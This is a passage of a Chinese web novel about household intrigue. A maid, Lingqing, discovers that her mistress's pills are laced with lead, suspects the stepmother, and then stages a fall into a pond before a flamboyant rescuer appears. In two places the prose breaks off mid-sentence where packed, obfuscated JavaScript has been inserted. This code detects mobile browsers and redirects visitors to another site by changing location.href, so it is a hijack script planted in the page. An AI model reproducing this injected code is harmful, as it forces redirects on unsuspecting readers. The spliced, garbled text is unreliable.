凌青将手中的药碗放在一旁:“小姐说哪里话,照顾您本就是奴婢的本分。再说,您这几日确实好转了许多,面色也有了血色,想必很快就能痊愈了。” 除了府中大夫开的汤药,她还每日给陆沁按跷、食疗,各种能养心安神的招数全上了一遍,的确也颇有成效。 陆沁强撑着坐起来,轻轻握住凌青的手,声音轻柔:“这些日子若没有你陪着我,我真不知该如何是好。凌青,真的谢谢你。” 凌青与她对视片刻,也微微一笑。 她连忙将药碗拿过来:“小姐,奴婢服侍您喝药。” 待陆沁低下头喝药时,凌青垂下眼眸,掩饰住眼中一闪而过的复杂情绪。 正在此时,门外传来轻快的脚步声,守着外面的小丫鬟探进头来:“小姐,老夫人身边的兰嬷嬷送了好些东西来,说是传凌青姐姐去老夫人那问个话。” 凌青应了一声,转身安抚陆沁:“小姐您先歇息着,奴婢去去就回。” 陆老夫人最近身子也不大爽快,但没有一日不记挂着她的孙女。哪怕自己来不了,也得每日传唤凌青去问问陆沁的身体。 凌青恭恭敬敬答了后,又被仔细询问了陆沁的心情和饮食,被叮嘱了好几句饮食禁忌,这才又提着一大盒补品离开。 提着食盒出了老夫人的院子时,春雨已经停了,但地面还湿润着,空气中弥漫着清润的气息,是泥土松过的清甜,混着沾满雨水的草芽味儿。 凌青本想直接回月露榭,却不由在此刻驻足。这种充满生机的味道,让人心神一清。感觉在这种春雨初歇的时候,也没必要像以前一样急匆匆地回去了。 她也不知自己是刻意还是无意,这次选择了一条远路,径直朝陆砚修的院子方向走去 刚走到院门附近,就听见门口几个小厮的抱怨声。 “这都连续多少日了?公子每夜读书到三更,我们也得陪着守夜,实在是熬不住了。” “就是啊,以前二公子虽然也用功,但不至于这般拼命。这几日简直像是着了魔一样。” “没办法……互相倒着来吧。” 凌青内心冷笑一声,陆砚修这是在做什么?用狂读书来忏悔自己的罪行?看他那副样子,似乎也并不后悔啊。 她放慢脚步,缓缓走着。 接下来还是些抱怨,却都没什么有价值的消息。她刚想离开,却紧接着传来的话却让她脚步一顿。 “也不知道夫人为什么最近这么重视二公子的功课,这几日每日都来书房,二公子的功课还需操心么?” “你不懂,”另一个年长些的声音说道,“夫人出自簪缨书香世家,据说他们林家最看重的就是学问。三小姐吧……咳咳……就这样了,那只能把功夫全用在二公子身上了。” 林雪桐最近每天都去查功课……… 凌青把这条讯息记在脑中,面无表情地迅速离开。 她一直在想,林雪桐若真是像表面上那样温柔如玉,宽厚仁和,怎么会教养出这样两个儿女。 女儿骄纵成性,自私狠毒,一颗心拴在自己姐夫身上;儿子更是个人面兽心的伪君子,装得温润,其实背地里都犯下了杀人的勾当。 那么自小教养他们长大的林雪桐,就真的清清白白,对自己儿女毫无所知么? 那绝不可能,后宅中的女人,除了陆沁那样的,还有哪个心思简单的。能做稳陆府继室的位置,还让别人都挑不出一丝毛病,这女人必定有极大的魄力。 凌青低着头匆匆往回走,快走回月露榭,经过一道回廊时,前面忽然传来一个温柔的声音。 “凌青?” 凌青抬头一看,只见林雪桐一身浅紫色的绸裙,站在回廊尽头的小径上。她身后的大丫鬟也捧着一个食盒。 真是……说谁谁就来了。 “见过夫人。”她敛衽屈膝。 林雪桐温和笑着,问道:“你怎的这个时候在这里?” “奴婢刚从老夫人那里为小姐取了些补品,正要回去。” “原来如此。”林雪桐点点头,叹了声气,声音里全是关怀之意:“沁儿的身子到底如何了?前天看了她一次,还是不大好,我这心里一直惦记着。” “劳夫人挂念,这几日小姐已经好了许多了。” “那就好,那就好。”林雪桐似是真的关心至极,柔声道:“我正好也要去看看沁儿,随我一起吧。” 此话一落,凌青心中瞬间崩紧,指尖也不由在看不到的地方收紧。 但她面上却丝毫不露分毫,轻声道:“奴婢遵命。” 两人一前一后走向陆沁的院子。路上,林雪桐不时地询问陆沁的病情,问得很细,言语间全是担忧。 “我虽不是沁儿的生母,可这些年的相处,感情早已不同寻常。”林雪桐垂下眼眸,神色自责而温柔,“皎儿活泼,却太过任性。沁儿懂事,又身体柔弱,总是会让我多心疼一些。不过还好有你在沁儿身边,我还能稍微安心些………” 说着说着,三人便进了陆沁的房中。 陆沁一看到林雪桐,便要从床上坐起来:“母亲………” “别,别起来!”林雪桐急忙过去扶着陆沁躺下:“沁儿,你我之间无需这些虚礼。” 她看着陆沁苍白瘦弱的脸颊,声音里也带上了颤抖:“你看看,这两天又瘦了。都怪我,怪我没有照顾好你。” 陆沁眼中也盈上了泪水:“母亲,您别这么说,是女儿自己身子弱,与您何干?” 两人这般情真意切,若是外人看,还真以为这是对亲母女。 陆沁可能是真动容,但林雪桐……… 凌青冷眼打量着林雪桐。 “母亲,我已好了不少了。这都多亏了凌青,渚碧走后,我一蹶不振。多亏她一直照料我的身体,又开导我。” “你身子好了就行,当初我让凌青进你院子,果然没错。”林雪桐轻抚着陆沁的头发,微微笑着瞥了凌青一眼,“她的确照顾得用心,这些我都看在眼里。只是她毕竟年轻,进府时间又短,有些事情可能考虑不周。以后府中有什么大小事情,沁儿可找我商量。” 这话听起来没什么毛病,林雪桐柔柔的语气也并无不妥,但凌青就是立马察觉到了不对。 这是在暗示陆沁,不要步渚碧之事的后尘。她凌青入府时间短,不值得过分信任。 这分明就是离间,不,不止是离间,她是想让陆沁只信任她一人。 她在一旁静静地观察着两个人的一举一动,心中的猜测越来越确定。 “凌青,你去帮我拿那个鸿雁丸。”聊着聊着,陆沁似乎忽然想起什么,对凌青说道。 自打她当上陆沁的贴身婢女时,陆沁就已经服用这鸿雁丸许久了,每日一粒,从不间断。 “是。”她刚要去,就忽然被一个声音打断了。 “在台子上那个紫檀木匣子里,对吗?”林雪桐几乎是脱口而出,随即转身对她身后的丫鬟说道:“去把那个紫檀木匣子拿过来。” 丫鬟应声而去,很快便从台子侧边取出了一个精致的紫檀木匣子。陆沁欣然接过,从中拿出了一颗的鸿雁丸。 她如削葱根般的手,轻捻着那枚蜜色药丸,悠悠叹气:“这还是渚碧给我买的………听说这鸿雁丸极其稀少,能够增强身体根基,渚碧当初为了买这个,可跑遍了京城。” 说着说着,她又眼含泪水。 林雪桐心疼地扶着陆沁的肩膀:“我知道你舍不得渚碧……” 母女相依,两个人看起来再自然不过。 可凌青此时,内心已经掀起惊涛骇浪。 林雪桐虽然这些日子来过几次,但每次都是说几句话就走了,从未在房中久留,更不曾仔细观察过陆沁的闺房摆设。她为何会如此清楚地知道那药在紫檀木匣子里?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071080|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 且听陆沁语气,这显然是她第一次提起此药,更不存在林雪桐以前知道的可能。 这药又是渚碧买来的……… 也许,渚碧、陆屏、陆砚修,全都是听命于一个人———那个藏在最后面布局,伪装的最好的人。 她从一开始的目的就很明确,那就是———— 毁掉陆沁。 —————— 陆沁果然没两天就身子大好了,虽然还是恹恹的,提不大起精神,但已经可以坐着看书了。 凌青端着药碗进来,默默在一旁桌子上放下。 陆沁仍翻着手上那本书,看了许久,才忽然发觉身旁人一直没有动静。 她抬起头,看着凌青。 这个一向清冷的少女,脸上的神情永远都是不符合她年纪的稳重老练,但此刻,竟然又多了点欲言又止的情绪。 “怎么了,你有话要与我说吗?”陆沁连忙放下书问道。 凌青之前犹豫再三,这次也是下了大的决心,决定要按照心里所想去做。 “是的。” 陆沁第一次见她这么郑重其事的样子,有些愣了:“啊……那你………” 话还没说完,凌青就忽然跪下,这一下动作很猛,直接在地上发出“咚”的一声。 “凌青!”陆沁吓了一跳,连忙上前去扶她,“你这是做什么?快起来!” 凌青抬起头,眼睛直视着陆沁,一字一句道:“我接下来说的话,是不符合我的身份的,是逾越之话。所以我提前向小姐告罪。我想说,我已经查出杀死渚碧的凶手是谁了。” 陆沁伸出的手微微一颤:“你……查出来了?” 陆沁此时的脸色很古怪,她似乎是想知道那个答案,却又害怕知道。她的眼神似乎涌动着一丝哀求,哀求凌青不要说出来。 凌青奇怪于她的表情,但还是继续往下说:“渚碧的死先放在后面,我想先给小姐看一样东西———” 她摊开手心,手心里赫然是一粒鸿雁丸。 “奴婢该死,未经小姐同意便拿了一粒去查验,发现里面加了极少量的铅霜。其毒性微弱,日常把脉根本察觉不到。但随着日积月累,便会损伤气血根本,使人越来越虚弱。” 话音一落,陆沁整个人僵在那里。 过了许久,她才似乎回过神来,“你………”她的声音颤抖着,“这不可能,这是渚碧在外面为我寻的………” “渚碧如何能寻得这样的药,这必然是幕后之人指使她将这药给您,让您精气耗尽。而渚碧也根据这个想出了巫蛊之术,来陷害我。” 陆沁唇瓣微颤,声音细若蚊呐:“你是说……” “渚碧早已不是从前的渚碧了。”凌青深吸一口气,沉声道:“她不但盗取小姐的嫁妆,更是对小姐的性命毫不在意。这一切,皆因她已另谋主子,心早已不在小姐身上。” “我与她自小一同长大,她什么也不缺,她,她为何要另谋主子?” “若是因为………情呢?” 陆沁不可置信地看着她。 “她爱上了一个人,那人许她此生一人,此世荣光。她便心甘情愿做了那人的棋子。” 陆沁心头一跳,隐约猜到了什么,却仍然没有开口。 在陆沁涣散的眼神中,凌青的声音越来越沉重:“那人就是———” “二公子。” 陆沁如遭雷击,整个人活像一尊被抽走了魂魄的泥塑。 她就那样坐着,一动不动,连眼睛都不眨。 良久,她才缓缓开口,声音轻得几乎要听不见:“那母亲可知晓………” 凌青看着陆沁苍白的脸色,心中涌起一阵不忍,但事到如今,必须得全部说出来了。 “我想,陆砚修所做的也只是搭上渚碧罢了。真正谋划这一切的人,大概就是夫人……她从一开始就想要了小姐的命,并不知不觉的掏空那些嫁妆,又找了陆屏做替罪羊。事情被揭露之后,她与陆砚修便杀了渚碧灭口。” 从小一同长大的侍女、温文尔雅的弟弟、和蔼温柔的继母………一夕之间,这些她曾经最引以为重的人……… 全都崩塌了。 她脸上的血色瞬间褪尽,连嘴唇都苍白如纸,整个人仿佛被抽走了所有生气。 “原来如此……原来都要害我……” 那声音里带着难以置信,带着绝望,还带着一种说不出的空洞。 “小姐……”凌青轻声唤她。 陆沁缓缓转过头,看着凌青,眼中已经没有任何光亮。 “我早就该想到的。”她的声音很平静,平静得让人心慌,“我早就该想到的。” 29. 落水 看着陆沁状若疯癫,泪如雨下,凌青心中涌起了一阵强烈的愧疚。 这么多年来,除了那日没有挽留姐姐,她从来没有任何时刻后悔过自己何选择。但今日,在此刻,她第一次质疑起了自己的决定。 她今日这般作为,到底是对是错? 让一个一直糊涂的人乍然清醒,还是让她一直糊涂下去,不同的人心中有不同的答案。她做了这个让陆沁彻底醒然的刽子手,却也是因为自己的私心。 她心中明白,林雪桐与陆砚修母子二人在府中兴风作浪,这绝不是第一次了。她心中有预感,姐姐之事或许和他们也脱不了关系。要想彻底揭开这层层谜底,她一个人远远不够。 她再费尽心机,也仍旧是一个丫鬟。哪怕要以卵击石,也需要一个强大的推力,站在她身边。这个人,只能是陆沁。 所以她迫不及待的揭露真相,打着为陆沁好的旗号,想让陆沁痛苦后醒悟,却完全不在乎这是否是陆沁所愿。 她今日所为,与恶鬼有什么区别?硬生生将那些最残酷、最恶心的真相剥开,强迫陆沁去看,去接受。她恨自己如此心狠,却又知道别无他法。 “对不起……对不起……我以后一定会好好护你、助你,必不会再伤害你……”她轻声在心里默念。 凌青缓缓伸出手,轻轻握住了陆沁的手。这是她第一次主动如此,手心微微出汗。 陆沁的手很凉,仍在微微颤抖。她垂着头,声音虚无缥缈:“我早就该发现的……我早就该知道的……” 凌青原以为她是在自责没有早些察觉,便轻声安慰:“小姐,这不怪您……” “我早就该知道的……”陆沁又重复了一遍,语调里带着一种说不出的意味。 凌青沉默着听这句话,却总觉得哪里有些不对劲。陆沁不停重复这话的神情,不像是在懊悔,更像是…… 像是了然。 心中了然却不愿相信,直到真相被血淋淋撕开,再也无法欺骗自己。 凌青猛然抬头,蹙起眉头,定定地看着陆沁:“小姐,您这话……是什么意思?” 陆沁没有说话。 凌青站起来:“小姐?” 陆沁终于缓缓抬起头,眼中全是麻木和迷茫,她的眼神虚虚对上凌青,露出一个苦涩至极的笑容。 “我早就知道………”她又是苦笑一声:“我早就知道母亲对我不是真心的。我知道她背地里肯定做了什么事,也知道她和三妹妹从来不希望我好。只是……”她声音颤抖,“只是我没想到……她最想要的是我的命。” 凌青手上一紧,几乎要捏疼陆沁的手。她脸上的表情没有变化,可心中却如惊涛骇浪般翻涌。 她一直以为陆沁天真至极,什么都不知道,却没想到她是了然的! 也是……自小通读圣贤书,养得玲珑剔透心。作为这京中赫赫有名的才女,哪怕再天真善良,她又怎么会分不清真心和虚伪呢? 凌青深深看了陆沁一眼,缓缓问道:“那您既然早就察觉了,为什么还与她一副母慈子孝的样子?” 陆沁眼中的泪意愈发浓重。房间里的烛光摇曳,将她的影子拉得忽长忽短。 她似乎觉得胸口发闷,仿佛有什么东西堵在那里,让她几乎喘不过气来。起身时脚步有些踉跄,幸而被凌青扶住。 “我...…我需要透透气。”她的声音带着几分哽咽,缓步走到窗前,手指颤抖着推开窗扇。 夜风徐来,带着院中海棠花的清香,她这才感觉胸口的那股闷气稍稍散了些。只是透过院里的花,她似乎又想到了什么,眼神慢慢陷入回忆。 “凌青,你可知道,我刚出生没多久,生母便去世了。"她的声音很轻,像是在自言自语,“是祖母一手将我带大,我也习惯没有母亲的日子。可我自己不在意,明面也上无人敢有闲话,背后却总有人窃窃私语。那些眼神,恶意,我全都记得。” 凌青静静地站在她身后,看着她的背影。 “我还记得有一回,与几位世家小姐一同玩耍。”陆沁声音却更加颤抖,“尚书右丞家的女儿天真得很,新学了一句话,却不知道什么意思,便直接问我:''阿沁,你是不是有娘生没娘养啊?''” “她的母亲当即重重责骂了她,可我至今还记得当时我彻底愣住,然后羞愧难当,恨不得找个地洞钻下的滋味。” “幸好父亲疼我,时常叫我读书习字,还说我将来才学定不在他之下。只是父亲教着教着,就忽然放下笔,郑重其事地告诉我,没有母亲不要紧,我有陆家做依靠,陆家便是最重要的根,以后无论如何都要护住这个家。所以我......我一直努力想要成为一个好女儿。” 她缓缓转过身来,月光映在她脸上,那种落寞几乎要溢出来:“后来我渐渐知道了母亲的存在。因为她刚入府便有孕,祖母担心她会待我不好,一直不让我与她接触。可有一日,我偷偷跑出去玩,远远望见父亲、继母还有三妹妹站在一颗海棠树下......” “那时的他们,当真是和乐融融,如寻常人家一般温馨。我……从未见过父亲笑得那样开怀过。” “我就那样孤零零地站在远处,看着他们一家三人。”她的声音开始有些哽咽,“母亲发现了我,招手让我过去,还轻抚我的头顶。那是我头一回......头一回感受到有母亲的温暖。我们四个人站在一起,母亲与父亲慈爱的看着我与三妹妹玩闹,我从来没有这么幸福过,我觉得自己终于有家了。” 凌青听着,心中涌起一阵说不出的复杂滋味。 她看着陆沁脸上近似虔诚的向往,有些感慨。林雪桐或许也想不到,自己当初随手的一个温柔举动,竟是这少女孤寂如凛冬的童年里,最想一直握住的暖意。 “从那以后,继母待我确实不错。虽说我能感觉出那种好有些刻意,不似对三妹妹和砚修那般发自真心,可我还是贪恋着那份难得的亲情。”陆沁自嘲地笑了笑,泪水顺着脸颊滑落,“三妹妹儿小时候很愿意与我亲近,我俩经常玩闹,只是长大后却越发疏远,甚至对我产生了恨意。但我当真想要一个完整的家,有父亲、有母亲、有妹妹和弟弟的家。哪怕......哪怕那只是我一个人的一厢情愿。” 她重新望向窗外,声音愈发轻缓,却透着一股近乎绝望的固执:“我忘不了我们四个人站在海棠树下,犹如一家人般其乐融融的感觉。所以无论三妹妹如何待我,我都选择退让。我骗自己,让自己忽视她们做过的那些事,只想着能将这个家好好维系下去。我怕......我怕一旦撕破了脸,连这点虚假的温暖都没有了。” 凌青听罢,心中也已了然。她原以为陆沁当真是不知世事的天真女子,没想到她什么都明白,只是选择了最痛苦的清醒——明知是假象,却甘愿沉溺其中。 “小姐......”过了许久,凌青才轻声开口,声音依旧是清冷,却带上了一点关切,“您这般一味退让,只会让她们愈发得寸进尺。这些您也是都知道的吧,那您还要继续下去吗?” 陆沁沉默良久。 片刻后,她终是摇了摇头:“凌青,我知晓你是为我好,可我当真不愿与她们撕破脸面。也许……也许……母亲经过这一遭,终究会手下留情,会………顾惜我。” 到了此刻,她竟然还对林雪桐抱有期望。但这话,恐怕她自己都不信吧。 守着一个千疮百孔,狼藉一片的家,却不为自己而活。这样的人生,有何意义。 “那若是………夫人又要动手了呢?” 这一句话如当头棒喝,陆沁身子微微一颤,眼中闪过一丝恐惧。 良久,她才艰难地开口,声音带着几分颤抖,却又透着一丝从未有过的坚决:“如若……如若母亲再要害我,我一定不会再坐以待毙。” 凌青静静地看着她,眼中闪过一丝几不可察的光芒,她微微颔首,“好。既然小姐这般说了,那奴婢便让您看看,她还会不会再动手。” 她转过身去,背影挺直如松,直透着股任风雪捶打也不会弯折一分的劲,坚韧至极,竟叫陆沁莫名心安。 “奴婢会让小姐看清楚,什么人值得您的善意,什么人……不配。” ————— 三日后午后,春日微光透进窗棂,屋里也暖意融融。 陆沁正在房中坐着,手中拿着一本话本,却怎么也看不进去。之前凌青的那番话,这些天一直在她心中反复回响。 正出神间,谷翠匆匆走了进来,脸上带着几分急切:“小姐,小姐!” “怎么了?这般慌张。”陆沁放下书本,温声询问。 谷翠走到她身边,急急道:“奴婢刚从外头回来,听说府中来了贵客女眷,正在鉴心池边赏景。小姐您身子刚好些,不如出去迎一下?” 陆沁犹豫了一下:“我这样出去,会不会不妥?” “有什么不妥的,您今日美着呢,您还怕自己见不得人啊。”谷翠一边说着,一边上前拉她的手,“况且池子边风景好,这个时节正是赏春的好时候。” 陆沁拗不过她的坚持,只得起身整理衣裳。谷翠殷勤地为她披上一件薄薄的碧色春衫,又细心地为她理了理鬓发。 “小姐今日气色好多了,这般出去走走,定然对身子有益。”谷翠一边伺候着,一边絮絮叨叨。 陆沁任由她摆弄,心中却隐隐觉得有些奇怪。谷翠平日里虽然贴心,却不似今日这般啰嗦急躁,但她也没有多想。 果然,来到鉴心池旁,她就什么都明白了。 鉴心池假山嶙峋,池水清澈,确实是个赏春景的好去处,只是......… “凌青?”陆沁眼中闪过一丝诧异,“你怎么在这里?还有......” 她的目光落在凌青身边那位身着青衫的人身上,正是崔令徽。崔令徽今日一反常态地穿了青色,与陆沁身上的碧色相配的很。此时见到陆沁,他也是微微一愣。 “陆二小姐?”崔令徽温和地笑了笑,“你身子可好些了?” 陆沁更加奇怪了,这似乎是事先约好的,可她却全然不知。正疑惑间,只见凌青走到谷翠身边,附耳说了几句什么,谷翠点点头,便悄然退了下去。 “凌青,你到底在搞什么?这是你安排的?” 凌青面色依旧淡然,声音轻缓:“小姐大病初愈,整日闷在房中对身子无益。这池边清静,正适合静养。” 说罢,她看了一眼不远处的崔令徽,面无表情地补充道:“况且崔大人也想你了。” 这话一出,陆沁的脸瞬间红了个透,崔令徽也是一怔,随即耳根泛红。两人四目相对,又各自慌忙移开目光,一时间气氛变得微妙起来。 春风轻拂,池水波光粼粼,垂柳摇曳,竟有几分诗意。 崔令徽轻咳一声,率先打破了这份尴尬,“要是楚之在就好了,也能让他在这赏赏景,只是不知道他到底去哪游玩了……” “是啊,不过楚之这说去哪就去哪的魄力,我可真是羡慕……” 两人正有一搭没一搭地说着话,远处忽然传来说笑声。陆沁回头一看,只见陆砚修和陆皎姐弟二人正联袂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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凌青看了看四周,确认无人后,才压低声音道:“奴婢前几日听小姐说,最近可能有个大喜事……” “什么喜事?”陆皎好奇地问。 “就是...…就是...…”凌青故作犹豫,“奴婢也不太确定,好像是说老爷和崔家商议着要将婚期提前。听说秋天小姐就要和崔大人成亲了……我们小姐和三小姐感情好,所以奴婢特意来问问,到时候三小姐可否来为小姐添妆?” 什么叫杀人诛心,这就是。 “什么?什么婚期?好好地为何要提前婚期?”陆皎的脸色瞬间变得惨白,“你给我说清楚!” 凌青立马露出惶恐的模样:“您……您……算了,您要不就当奴婢这话没说吧……” 陆皎见她这副模样,心中的恐慌越发强烈。她一把抓住凌青的胳膊:“你必须告诉我!真的吗,她真的要和令徽哥哥成亲了?” 凌青一副为难的样子:“这………” “凭什么啊?!"陆皎眼中涌起疯狂的嫉恨,整个人都颤抖起来,“是她自己说想晚两年再嫁,怎么现在就变口了,真不要脸!” 不等凌青回答,陆皎已经彻底失控了。她猛地转身,朝着陆沁的方向冲去,眼中带着疯狂的嫉恨:“陆沁!你为何要这样一次次变卦!” 她说着便要去拉扯陆沁。凌青见状,故作惊慌地大喊:“三小姐不要!不要推小姐下水!” 话音刚落,她便慌乱地冲上前去,紧紧抱住陆皎的腰肢,想要制止她。 陆沁被吓了一跳,连连往后退。崔令徽连忙挡在她前面。 “放开我!我要问清楚!”陆皎疯了般挣扎,双手胡乱挥舞着要推开凌青。 两人在池边撕扯起来,陆皎力大如狂,拼命要挣脱凌青的束缚。凌青死死抱着她不放,脚下却故意踩在了池边湿滑的青石上。 “三小姐别推我..….啊!”凌青故作不慎,脚下一滑,整个人向后倒去。 陆皎被她死死抱着,根本无法脱身,只能眼睁睁看着两人一同向池水中跌落。 “扑通!” 水花顿时四溅,荡起层层涟漪,两道身影在水波中挣扎。 众人顿时被这突如其来的变故惊呆了。 “救人!救人!凌青!凌青!”陆沁急得大喊,想要上前,却自己又不会水。 “三姐!”陆砚修也喊道。 崔令徽见状想要下水,却又犹豫了一瞬———他怕陆皎借机彻底缠上他。但见凌青在水中挣扎,终是准备下去救人。 陆砚修见没人去救自己的亲姐,只能焦急地脱了外衣,跳下水去。 此时凌青虽然全身泡在水中,但其实并不慌张,她自小便会水性,此时迟迟不游上来,不过是想卖卖惨罢了,正好让陆沁多心疼心疼她。 正当她觉得时机差不多,准备拉着不停扑腾的陆皎上去时,忽然水面上有人影掠过。 那人轻功了得,踏水而来,每一步都踩在波心,激起圈圈涟漪。一袭白衣胜雪,只有衣摆和袖口镶着鲜艳的红边。他墨发飞扬,整个人明艳得刺目。 他微微俯身,一束光亮正好从云间洒下,将他整个人镀上一层金辉。 不等凌青反应过来,便被他一把捞起,打横抱在怀中。 水花四溅,如碎玉纷飞。 凌青蹙起眉,抬眼看去。 少年眉宇间带着与生俱来的张扬与自信,那种肆意的神采,仿佛整个天地都要为他开路。墨发如瀑,几缕湿发贴在额前,更显得那面容妖冶动人。 “我才不在几日,就把自己弄得这么狼狈了。” 少年带着笑意的气息拂过她的耳尖。 “真是让人心疼啊,姐姐。” 30. 夺婚 逄楚之抱着凌青踏水而行,几个起落便到了岸边。他落地时衣袂飞扬,几滴水珠从上面滚落,在光照下泛着光芒。 岸上众人还未从刚才的惊变中回过神来,就见这他如天神下凡般出现,一时间都愣在原地。 凌青:“………” 又让他装到了。 “诸位都在这啊。”逄楚之抱着她,却忽然开口,声音带着慵懒的笑意,“我本想给大家一个惊喜,却没想到……” 他顿了顿,语调里染了几分懊恼:“差点就来晚了。” 陆沁既着急地想看看凌青,又惊讶于逄楚之的出现:“你怎么突然回来了!凌青没事吧?” “放心……她好得很。” 听到这话,凌青再也忍不住了。她面无表情地抬起手,悄无声息地在逄楚之腰间狠掐了一下。 “嘶———”逄楚之倒吸一口凉气,低头看向怀中人。 凌青正用一种马上要杀人的眼神看着他,眸中寒意犹如淬了毒的冰,恨不得一点点剐去他的血肉。 逄楚之这才意识到自己还将人抱在怀中,忙不迭地将凌青轻轻放下,给她披上外衣,讪讪一笑:“抱歉抱歉,一时情急给忘了。” 忘个屁!她才不信会忘了,分明就是故意想让她多狼狈会儿。 此时陆砚修也将陆皎完全拖上了岸。陆皎浑身湿透,不停地咳着水。发髻也早已散乱,头发贴在脸颊上,看着格外狼狈。 陆沁看了看陆皎,又看了看凌青,眼神陷入了纠结。 凌青不指望她能在这时候先过来。毕竟陆皎是她的亲妹妹,就算顾及表面关系,她也要先去看照一下陆皎,更何况她只是个丫鬟。 但令她没想到的是,陆沁的视线徘徊了许久,最终毅然决然地停留在她身上。 在众人的目光中,她快步走向了凌青。 “没事吧?没有呛水吧,有没有冻着?”陆沁急切地问道。 凌青摇了摇头,湿发贴在脸颊上,显得更加清冷:“奴婢无事,多谢小姐关心。” 她说着,目光却不自觉地瞥向一旁站着的人。陆砚修看见陆沁先看照她,眼神深处闪过一丝狠戾,阴毒顺着目光一点点渗出来。 崔令徽似乎很是欣慰,欣慰陆沁终于破天慌地不心疼她那个混账妹妹了。 而逄楚之……… 她的眼神移到逄楚之脸上,逄楚之也在看她。四目相对的瞬间,他眼睛微弯,唇边的笑意也愈发深了几分。 这时,陆砚修将脱下的外衣披在陆皎身上,便站了起来,拍了拍身上的水,温润一笑道:“逄兄这踏水而来的功夫真是出神入化,我佩服至极,只是……” 他顿了顿,意味深长道:“早不出现,晚不出现,偏偏在这个时候现身。既然来了,为何不先救二姐,反而先救这么个……下人。” 凌青有些不可思议地望了过去。 陆砚修怎么忽然这般不加遮掩,直接出言讽刺了?他素来将自己伪装成君子,即便心中不喜,表面上也绝不会如此失态。 她平日里敢与逄楚之针锋相对,是因为她不过一介丫鬟,烂命一条,怼就怼了,反正又不用科举入朝为官,逄楚之处理她只会被溅一身腥。可陆砚修不同,他日后还要入官场,就敢这样当众得罪逄家? 哦……她忽然恍然大悟。 他这是嫉妒了。 陆砚修自小便是陆府的骄傲,文采出众,走到哪里都是众人捧着的天之骄子。可偏偏有逄楚之,无论哪一样都要比他强上一等,连他未涉及过的轻功都如此高深莫测。 看来真是嫉妒得不行了,那点平日里掩藏得极好的阴暗心思,此刻全都暴露无遗。 她凌青也嫉妒逄楚之,却从来不嫉妒他这个人,只嫉妒他生来身份尊贵。只能说………陆砚修还是太嫩了。 逄楚之闻言,脸上的笑容瞬间收敛,取而代之的是一副受了天大冤屈的模样:“砚修,你这话说的………” “我真的是刚到。当时情况紧急,我哪能看得清谁是谁,自然要救离我最近的那个人啊。难道你是希望我见死不救?还是说凌青姑娘淹死你就开心了?” 他说着,眼中竟然泛起了一层泪光,看着格外可怜兮兮。 陆沁立马将“可怜”的逄楚之护在身后,蹙着眉看向陆砚修:“砚修,你这话有些过分了。凌青是被三妹妹推下水的,本就是无妄之灾,你竟还不让楚之救她?况且楚之又做错了什么?” 陆砚修慌乱道:“我………” 凌青在心中叹气。陆砚修啊陆砚修,你拿什么和逄楚之斗,就他那装柔弱的演法,已经到了出神入化的地步,跟他硬碰那就是自寻烦恼。 坐在一旁的陆皎听了这话,却是放声大哭:“令徽哥哥,你都看到了吧!二姐霸占着你不撒手,还指使恶仆来推我,现在更是诬陷我推人下去的!二姐,你的心思怎么如此狠毒!” 她哭的声嘶力竭,让还在旁边装可怜的逄楚之都愣住了。 “分明就是她!是这个贱婢拉我下去的!” 凌青面色不变,待她哭喊完才淡淡开口:“三小姐,在场众人可都看得清楚。是您先上去推二小姐,奴婢上去阻拦,却被您一同拉下水。否则奴婢一个下人,为何好端端的拉着您下去?” 她的声音越发清冷:“三小姐若是忘了刚才的事,大可问问各位。您还是再好好回想一下吧。” 崔令徽听了这话,面色骤然沉了下来。刚才的情形他看得一清二楚,的确是陆皎先去拉扯陆沁,若不是凌青拦着,此时掉下池子的就是陆沁了。陆沁的身子,哪里遭受得了水池的冰冷。 想到这里,他心中怒火中烧:“三小姐,你这般胡搅蛮缠,成何体统!” 他愤怒的表情深深刺痛了陆皎的心,陆皎不敢置信道:“令徽哥哥………” “够了!”陆砚修看情形不对,站了出来,率先呵斥了陆皎。他虽心里对陆沁没有丝毫感情,这时候却只能站在陆沁那一边。 “三姐,别闹了,给自己留点面子吧。”他转头看向陆皎。 陆皎看着自己心爱的人,自己的亲弟弟,都站在自己最恨的那个人那边,彻底崩溃了。 她哭得越发厉害,一边哭一边用拳头捶地,歇斯底里:“你们都偏心她!都偏心她!我在这个府里就是个多余的是不是!” 众人无奈,只能又过去劝解她。 就在一众人为这场风波争执不休的时候,逄楚之悄悄挪动脚步,来到了凌青身侧。 “可有大碍?”他放低了声音:“有没有呛着水?” 凌青侧眸瞥了他一眼,也压低了声音:“逄公子不是出门游玩,立志再也不出现在我面前了吗。怎么?这么快这誓言就没用了?” 逄楚之闻言,脸上又露出那副委屈巴巴的神情:“姐姐……你不会真的盼望我永远不回来吧?” 凌青心道:是的,你离开的每一天我都欢欣鼓舞。每当做活累了的时候,一想起再也见不到你,我都感觉我的疲惫一扫而空。 逄楚之见她不说话,眨了眨眼,眸中水光潋滟:“我这不是救了你么,你就不能温柔一点?” 凌青冷冷地看着他:“你为何救我,不救陆皎。别说什么没看清人,我知道你认得哪个是我。” “啊………这个啊。”逄楚之顿了顿,很是认真地答道:“那是因为……你看起来比较轻一些。我这个人很羸弱的,抱不动重的东西。” 凌青的视线慢慢转移到他的手臂上,那里即使隔着衣衫和护臂,也能隐隐看出结实的肌肉线条。 她嘴角扬起一抹讥讽的弧度:“的确很羸弱,连三小姐那样纤细的女子都嫌重,你有什么脸面当男人?” 逄楚之:“………” 他似乎是被噎住了,过了半晌才叹了口气。 凌青假装没听见。 他又叹了一口,看凌青没反应,就不停地叹。 凌青被他烦得要命,不耐烦道:“想说什么?” 逄楚之看她终于搭理自己,立即起了精神,把脸凑了过去:“我想说,姐姐,你太没良心了!” “哦?” “这次我也救了你,你为什么连句谢谢都没有?” 